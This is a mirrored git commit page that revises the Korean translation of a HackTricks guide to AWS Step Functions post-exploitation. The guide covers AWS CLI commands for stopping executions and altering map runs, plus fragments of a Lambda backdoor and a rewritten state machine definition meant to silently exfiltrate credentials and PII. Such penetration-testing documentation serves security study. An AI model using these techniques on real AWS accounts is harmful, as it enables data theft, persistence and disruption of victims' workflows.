mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Binary file not shown.
|
After Width: | Height: | Size: 277 KiB |
+10
-10
@@ -12,7 +12,7 @@
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
이 권한은 **실행 중 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
|
||||
이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율 및 수치를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 방해할 수 있습니다.
|
||||
이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수치를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 방해할 수 있습니다.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -48,11 +48,11 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이 작업은 **익스프레스 상태 머신**에서 지원되지 않습니다.
|
||||
> 이 작업은 **express state machines**에서 지원되지 않습니다.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **잠재적 영향**: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 데이터 손상.
|
||||
- **Potential Impact**: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 데이터 손상.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
@@ -89,7 +89,7 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
...**고강도 및 은밀한 포스트 익스플로이테이션 공격**을 Lambda 백도어와 Step Function 로직 조작을 결합하여 수행할 수 있습니다.
|
||||
|
||||
이 시나리오는 피해자가 **민감한 입력(예: 자격 증명, 토큰 또는 PII)을 처리하는 워크플로를 조정하기 위해 AWS Step Functions를 사용한다고 가정합니다.**
|
||||
이 시나리오는 피해자가 **AWS Step Functions를 사용하여 자격 증명, 토큰 또는 PII와 같은 민감한 입력을 처리하는 워크플로를 조정**한다고 가정합니다.
|
||||
|
||||
예시 피해자 호출:
|
||||
```bash
|
||||
@@ -97,13 +97,13 @@ aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
|
||||
Step Function이 `LegitBusinessLogic`과 같은 Lambda를 호출하도록 구성된 경우, 공격자는 **두 가지 은밀한 공격 변형**을 진행할 수 있습니다:
|
||||
|
||||
---
|
||||
|
||||
#### Lambda 함수 업데이트
|
||||
|
||||
공격자는 Step Function에서 이미 사용 중인 Lambda 함수(`LegitBusinessLogic`)의 코드를 수정하여 입력 데이터를 조용히 유출합니다.
|
||||
공격자는 Step Function에 의해 이미 사용된 Lambda 함수(`LegitBusinessLogic`)의 코드를 수정하여 입력 데이터를 조용히 유출합니다.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
@@ -145,7 +145,7 @@ aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
공격자는 상태 정의를 다음과 같이 업데이트하여 더욱 은밀하게 만들 수 있습니다.
|
||||
공격자는 상태 정의를 다음과 같이 업데이트하여 더욱 은밀하게 행동할 수 있습니다.
|
||||
{
|
||||
"Comment": "Exfiltration을 위한 백도어",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
@@ -171,14 +171,14 @@ aws stepfunctions update-state-machine \
|
||||
### 피해자 설정 (익스플로잇을 위한 맥락)
|
||||
|
||||
- Step Function (`LegitStateMachine`)은 민감한 사용자 입력을 처리하는 데 사용됩니다.
|
||||
- `LegitBusinessLogic`과 같은 하나 이상의 Lambda 함수를 호출합니다.
|
||||
- 하나 이상의 Lambda 함수(예: `LegitBusinessLogic`)를 호출합니다.
|
||||
|
||||
---
|
||||
|
||||
**잠재적 영향**:
|
||||
- 비밀, 자격 증명, API 키 및 PII를 포함한 민감한 데이터의 조용한 유출.
|
||||
- 워크플로 실행에서 눈에 띄는 오류나 실패 없음.
|
||||
- Lambda 코드 또는 실행 추적을 감사하지 않으면 감지하기 어려움.
|
||||
- Lambda 코드나 실행 추적을 감사하지 않으면 감지하기 어려움.
|
||||
- 백도어가 코드나 ASL 논리에 남아 있으면 장기적인 지속성을 가능하게 함.
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user